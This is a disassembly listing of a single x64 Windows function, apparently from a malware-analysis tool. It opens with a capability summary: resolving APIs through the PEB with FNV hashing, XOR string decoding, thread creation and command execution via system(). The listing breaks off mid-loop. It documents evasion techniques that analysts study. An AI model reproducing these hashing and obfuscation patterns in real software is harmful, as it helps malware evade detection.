Function at 0x140004180
Capabilities:
Access peb ldr_data
Create process on windows
Create thread
Encode data using xor
Execute command
Hash data using fnv
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x1c0
mov rax, qword [0x1400cd180]
xor rax, rsp
mov qword [rsp + 0x1b0], rax
xor ebx, ebx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14000700d
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14000700d
mov edi, dword [r11 + 0x20]
nop dword [rax]
dec r10d
lea rdx, [rdi + r10*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x9fd91019
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140007004
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140004220
cmp edx, 0x6f8cdfb8
jne 0x140007004
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r10*2]
mov eax, dword [rdx + rcx*4]
add rax, r9
lea rcx, str.color_7
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140006ffc
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x140006ffc
mov edi, dword [r11 + 0x20]
nop dword [rax]
dec r10d
lea rdx, [rdi + r10*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x8becfb0
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140006ff3
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x1400042e0
cmp edx, 0xcada2c2d
jne 0x140006ff3
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r10*2]
mov eax, dword [rdx + rcx*4]
add rax, r9
call rax
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rcx + 0x30]
movsxd rdx, dword [r9 + 0x3c]
mov r11d, dword [rdx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140006feb
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x140006feb
mov edi, dword [r11 + 0x20]
nop dword [rax]
dec r10d
lea rdx, [rdi + r10*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x21bcb874
movzx eax, byte [r8]
inc r8
test al, al
je 0x140006fe2
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [r8]
lea r8, [r8 + 1]
test al, al
jne 0x1400043a0
cmp edx, 0x529b3519
jne 0x140006fe2
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r10*2]
mov eax, dword [rdx + rcx*4]
add rax, r9
call rax
mov ecx, 8
call fcn.14009ecf0
lea rcx, [0x140002660]
mov qword [rax], rcx
mov qword [rsp + 0x160], rax
lea rcx, [rsp + 0x1a8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x14000b920]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x1a0], rax
test rax, rax
je 0x140006fcf
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140006fc7
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x140006fc7
mov edi, dword [r11 + 0x20]
nop dword [rax]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x91c42489
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140006fbe
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x1400044b0
cmp edx, 0x5dbddfa4
jne 0x140006fbe
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r10*2]
mov eax, dword [rdx + rcx*4]
add rax, r9
mov edx, 0xffffffec
mov rcx, rsi
call rax
mov edi, eax
bts edi, 0x13
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r14d, dword [rcx + r10 + 0x88]
add r14, r10
cmp r14, r10
je 0x140006fb6
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140006fb6
mov r9d, dword [r14 + 0x20]
nop dword [rax]
dec r11d
lea rdx, [r10 + r11*4]
mov r8d, dword [rdx + r9]
add r8, r10
mov edx, 0x92c4261c
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140006fad
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140004570
cmp edx, 0x6df24ff5
jne 0x140006fad
mov r9d, dword [r14 + 0x1c]
add r9, r10
mov ecx, dword [r14 + 0x24]
add rcx, r10
movzx ecx, word [rcx + r11*2]
mov eax, dword [r9 + rcx*4]
add rax, r10
mov r8d, edi
mov edx, 0xffffffec
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140006fa5
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x140006fa5
mov edi, dword [r11 + 0x20]
nop dword [rax]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0xcc11493
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140006f9c
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140004630
cmp edx, 0xa93d05ae
jne 0x140006f9c
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r10*2]
mov eax, dword [rdx + rcx*4]
add rax, r9
mov r9d, 2
mov r8b, 0xc8
xor edx, edx
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140006f94
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x140006f94
mov edi, dword [r11 + 0x20]
nop dword [rax]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x8da847c0
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140006f8b
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x1400046f0
cmp edx, 0xf0cf627d
jne 0x140006f8b
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r10*2]
mov eax, dword [rdx + rcx*4]
add rax, r9
call rax
mov r14, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rcx + 0x30]
movsxd rdx, dword [r9 + 0x3c]
mov r11d, dword [rdx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140006f83
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x140006f83
mov edi, dword [r11 + 0x20]
nop dword [rax]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0xd4bbdb9a
movzx eax, byte [r8]
inc r8
test al, al
je 0x140006f7a
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [r8]
lea r8, [r8 + 1]
test al, al
jne 0x1400047b0
cmp edx, 0xf03c6d9f
jne 0x140006f7a
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r10*2]
mov eax, dword [rdx + rcx*4]
add rax, r9
mov edx, 0xfffffff0
mov rcx, r14
call rax
mov edi, eax
and edi, 0xfff8ffff
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140006f72
mov r11d, dword [rsi + 0x18]
test r11d, r11d
je 0x140006f72
mov r9d, dword [rsi + 0x20]
nop dword [rax]
dec r11d
lea rdx, [r10 + r11*4]
mov r8d, dword [rdx + r9]
add r8, r10
mov edx, 0xc7bbc723
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140006f69
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140004870
cmp edx, 0x25c2cc8a
jne 0x140006f69
mov r9d, dword [rsi + 0x1c]
add r9, r10
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx ecx, word [rcx + r11*2]
mov eax, dword [r9 + rcx*4]
add rax, r10
mov r8d, edi
mov edx, 0xfffffff0
mov rcx, r14
call rax
lea rcx, [0x1400abfb8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x4e2
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbx
mov r8d, 0x19
lea rdx, str.clxvuug300009ns01ejiwpghn
lea rcx, [rsp + 0x30]
call fcn.140002850
nop
lea rcx, [rsp + 0x30]
call fcn.14007a850
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140004946
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004941
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004941
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009ed34
movups xmm0, xmmword [0x1400ad8e0]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1400ad8f0]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1400ad900]
movups xmmword [rsp + 0x50], xmm0
movsd xmm0, qword [0x1400ad910]
movsd qword [rsp + 0x60], xmm0
movzx eax, word [0x1400ad918]
mov word [rsp + 0x68], ax
mov ecx, ebx
mov esi, dword [0x1400cd1d0]
cmp esi, 2
jl 0x140004ae2
movdqa xmm0, xmmword [str.000000000000000022222222222222224444444444444444]
movdqa xmmword [rsp + 0x160], xmm0
lea rdx, [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x1400b46c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x1400b4930]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x1400b4930]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x160]
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x1400b46c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x1400b4930]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b4930]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x160]
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x38
jl 0x1400049b0
cmp ecx, 0x3a
jge 0x140004b1e
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x3a
jl 0x140004af0
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008f90
lea rdx, [0x1400093f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movups xmm0, xmmword [0x1400ad210]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1400ad220]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1400ad230]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400ad240]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1400ad250]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1400ad260]
movups xmmword [rsp + 0x80], xmm1
movups xmm0, xmmword [0x1400ad270]
movups xmmword [rsp + 0x90], xmm0
mov eax, dword [0x1400ad280]
mov dword [rsp + 0xa0], eax
movzx eax, word [0x1400ad284]
mov word [rsp + 0xa4], ax
mov ecx, ebx
cmp esi, 2
jl 0x140004d08
movdqa xmm0, xmmword [str.000000000000000022222222222222224444444444444444]
movdqa xmmword [rsp + 0x160], xmm0
lea rdx, [rsp + 0x30]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x1400b46c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x1400b4930]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x1400b4930]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x160]
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x1400b46c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x1400b4930]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b4930]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x160]
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x70
jl 0x140004bd6
cmp ecx, 0x76
jge 0x140004d4e
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x76
jl 0x140004d20
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008f90
lea rdx, [0x1400093f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movups xmm0, xmmword [0x1400adbd0]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1400adbe0]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1400adbf0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400adc00]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1400adc10]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1400adc20]
movups xmmword [rsp + 0x80], xmm1
movups xmm0, xmmword [0x1400adc30]
movups xmmword [rsp + 0x90], xmm0
movups xmm1, xmmword [str.___f_rSc]
movups xmmword [rsp + 0xa0], xmm1
movsd xmm0, qword [0x1400adc50]
movsd qword [rsp + 0xb0], xmm0
mov eax, dword [str._r_tuvwX]
mov dword [rsp + 0xb8], eax
movzx eax, word [0x1400adc5c]
mov word [rsp + 0xbc], ax
movzx eax, byte [0x1400adc5e]
mov byte [rsp + 0xbe], al
mov ecx, ebx
cmp esi, 2
jl 0x140004f6c
movdqa xmm0, xmmword [str.000000000000000022222222222222224444444444444444]
movdqa xmmword [rsp + 0x160], xmm0
lea rdx, [rsp + 0x30]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x1400b46c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x1400b4930]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x1400b4930]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x160]
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x1400b46c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x1400b4930]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b4930]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x160]
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x88
jl 0x140004e34
cmp ecx, 0x8f
jge 0x140004fb1
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x8f
jl 0x140004f80
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008f90
lea rdx, [0x1400093f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movups xmm0, xmmword [0x1400ada20]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [str._nbc]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1400ada40]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400ada50]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1400ada60]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1400ada70]
movups xmmword [rsp + 0x80], xmm1
movups xmm0, xmmword [0x1400ada80]
movups xmmword [rsp + 0x90], xmm0
mov eax, dword [0x1400ada90]
mov dword [rsp + 0xa0], eax
movzx eax, word [0x1400ada94]
mov word [rsp + 0xa4], ax
mov ecx, ebx
cmp esi, 2
jl 0x1400051a2
movdqa xmm0, xmmword [str.000000000000000022222222222222224444444444444444]
movdqa xmmword [rsp + 0x160], xmm0
lea rdx, [rsp + 0x30]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x1400b46c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x1400b4930]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x1400b4930]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x160]
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x1400b46c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x1400b4930]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b4930]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x160]
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x70
jl 0x140005070
cmp ecx, 0x76
jge 0x1400051de
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x76
jl 0x1400051b0
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008f90
lea rdx, [0x1400093f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movups xmm0, xmmword [0x1400adad0]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1400adae0]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1400adaf0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [str._Ayk]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1400adb10]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1400adb20]
movups xmmword [rsp + 0x80], xmm1
movups xmm0, xmmword [0x1400adb30]
movups xmmword [rsp + 0x90], xmm0
movzx eax, byte [0x1400adb40]
mov byte [rsp + 0xa0], al
mov ecx, ebx
cmp esi, 2
jl 0x1400053c2
movdqa xmm0, xmmword [str.000000000000000022222222222222224444444444444444]
movdqa xmmword [rsp + 0x160], xmm0
lea rdx, [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x1400b46c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x1400b4930]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x1400b4930]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x160]
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x1400b46c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x1400b4930]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b4930]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
